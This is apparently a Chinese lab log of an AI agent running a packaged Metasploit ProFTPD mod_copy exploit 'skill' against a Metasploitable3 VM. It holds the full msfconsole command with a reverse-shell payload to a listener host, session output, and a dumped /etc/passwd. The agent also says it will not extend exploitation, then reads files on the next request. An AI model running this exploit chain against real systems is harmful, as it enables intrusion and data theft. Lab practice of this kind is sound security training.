1. CC switch配置2.建立技能Metasploitable3-ProFTPD将如下内容写成Metasploitable3-ProFTPD技能 ┌──(kali㉿kali)-[~] └─$ msfconsole -q -x use exploit/unix/ftp/proftpd_modcopy_exec; set RHOSTS 192.168.1.46; set RPORT 80; set RPORT_FTP 21; set SITEPATH /var/www/html; set TARGETURI /; set payload cmd/unix/reverse_perl; set LHOST 192.168.1.43 ; set LPORT 4444; run [_] No payload configured, defaulting to cmd/unix/reverse_netcat RHOSTS 192.168.1.46 RPORT 80 RPORT_FTP 21 SITEPATH /var/www/html TARGETURI / payload cmd/unix/reverse_perl LHOST 192.168.1.43 LPORT 4444 [_] Started reverse TCP handler on 192.168.1.43:4444 [_] 192.168.1.46:80 - 192.168.1.46:21 - Connected to FTP server [_] 192.168.1.46:80 - 192.168.1.46:21 - Sending copy commands to FTP server [_] 192.168.1.46:80 - Executing PHP payload /acu3lel.php [] 192.168.1.46:80 - Deleted /var/www/html/acu3lel.php [_] Command shell session 1 opened (192.168.1.43:4444 - 192.168.1.46:40387) at 2026-07-31 05:34:12 -0400 id uid33(www-data) gid33(www-data) groups33(www-data) hostname metasploitable3-ub1404 date Fri Jul 31 09:37:13 UTC 2026 API Error: 502 请求转发失败: 上游请求失败: client error (Connect). This is a server-side issue, usually temporary — try again in a moment. If it persists, check your inference gateway (127.0.0.1:15721).已整理完成 [查看 Metasploitable3-ProFTPD 技能文件](app://localhost/cowork/local_d72fe523-51fa-45cf-8dee-d497c1254208) [查看中文实验手册](app://localhost/cowork/local_d72fe523-51fa-45cf-8dee-d497c1254208)进度FTP 与 HTTP 已确认可达FTP 横幅为 ProFTPD 1.3.5HTTP 返回 200Metasploit 模块也已确认存在。第一次自动化执行没有在工具时限内返回检查发现环境里残留了多个此前的 msfconsole 进程可能造成会话/监听器冲突。我会先清理本次刚启动的超时进程不触碰更早的进程然后改用后台作业方式重测并抓取会话结果。API Error: 502 请求转发失败: 上游请求失败: client error (Connect). This is a server-side issue, usually temporary — try again in a moment. If it persists, check your inference gateway (127.0.0.1:15721).测试已达到成功条件上一轮执行过程显示 text [] 192.168.1.46:80 - The target appears to be vulnerable. [*] ... Connected to FTP server [*] ... Sending copy commands to FTP server [*] ... Executing PHP payload /bdKGS.php [] ... Deleted /var/www/html/bdKGS.php [*] Command shell session 1 opened验证结果为uid33(www-data) gid33(www-data) groups33(www-data) hostname: metasploitable3-ub1404其中www-data表示已获得 Web 服务账户权限而不是 root 权限。先前测试还发现使用cmd/unix/reverse_perl时会话可能因 Metasploit 退出或载荷执行异常而断开改用cmd/unix/reverse_netcat后已成功建立命令 Shell。我不能继续执行或扩展漏洞利用、持久化或提权操作。你可以将当前结果记录为“ProFTPD mod_copy 技能测试成功获得www-data低权限 Shell”。接下来我可以帮助你整理测试报告、补充检测/修复步骤或把技能文件改成只执行安全的连通性检查和漏洞验证。好的。当前测试结论是ProFTPDmod_copy技能在授权的 Metasploitable3 环境中验证成功并获得www-data低权限命令 Shell。2.2测试技能使用Metasploitable3-ProFTPD技能获取192.168.1.46的iphostname/etc/passwddate 已成功使用 Metasploitable3-ProFTPD 技能获取信息。 执行过程 text [*] Started reverse TCP handler on 192.168.1.43:4452 [*] 192.168.1.46:80 - 192.168.1.46:21 - Connected to FTP server [*] 192.168.1.46:80 - 192.168.1.46:21 - Sending copy commands to FTP server [*] 192.168.1.46:80 - Executing PHP payload /ia9qZ.php [] 192.168.1.46:80 - Deleted /var/www/html/ia9qZ.php [*] Command shell session 1 opened目标 IP192.168.1.46 172.28.128.3 172.17.0.1主机名metasploitable3-ub1404日期Sun Aug 2 13:57:02 UTC 2026/etc/passwd已读取成功主要账户包括root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash leia_organa:x:1111:100::/home/leia_organa:/bin/bash luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash han_solo:x:1113:100::/home/han_solo:/bin/bash darth_vader:x:1117:100::/home/darth_vader:/bin/bash anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false完整的/etc/passwd输出也已在执行结果中获取。最终结果目标192.168.1.46 主机名metasploitable3-ub1404 IP192.168.1.46、172.28.128.3、172.17.0.1 日期Sun Aug 2 13:57:02 UTC 2026 命令 Shell成功建立3. CC swtich切换成本地模型4.测试技能使用Metasploitable3-ProFTPD技能获取192.168.1.46的iphostname/etc/passwddate已成功获取 192.168.1.46 的相关信息。 **执行过程摘要** text [*] Connected to FTP server [*] Sending copy commands to FTP server [*] Executing PHP payload /9Lzf8O3.php [] Deleted /var/www/html/9Lzf8O3.php [*] Command shell session 1 opened交互命令输出hostname metasploitable3-ub1404 hostname -I 192.168.1.46 172.28.128.3 172.17.0.1 date Sun Aug 2 14:30:25 UTC 2026 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/bin/false vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh leia_organa:x:1111:100::/home/leia_organa:/bin/bash luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash han_solo:x:1113:100::/home/han_solo:/bin/bash artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash darth_vader:x:1117:100::/home/darth_vader:/bin/bash anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash boba_fett:x:1121:100::/home/boba_fett:/bin/bash jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash greedo:x:1123:100::/home/greedo:/bin/bash chewbacca:x:1124:100::/home/chewbacca:/bin/bash kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false avahi:x:107:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false最终结果项目值IP192.168.1.46 / 172.28.128.3 / 172.17.0.1hostnamemetasploitable3-ub1404dateSun Aug 2 14:30:25 UTC 2026/etc/passwd已读取包含 root、vagrant 及多个星球大战角色账户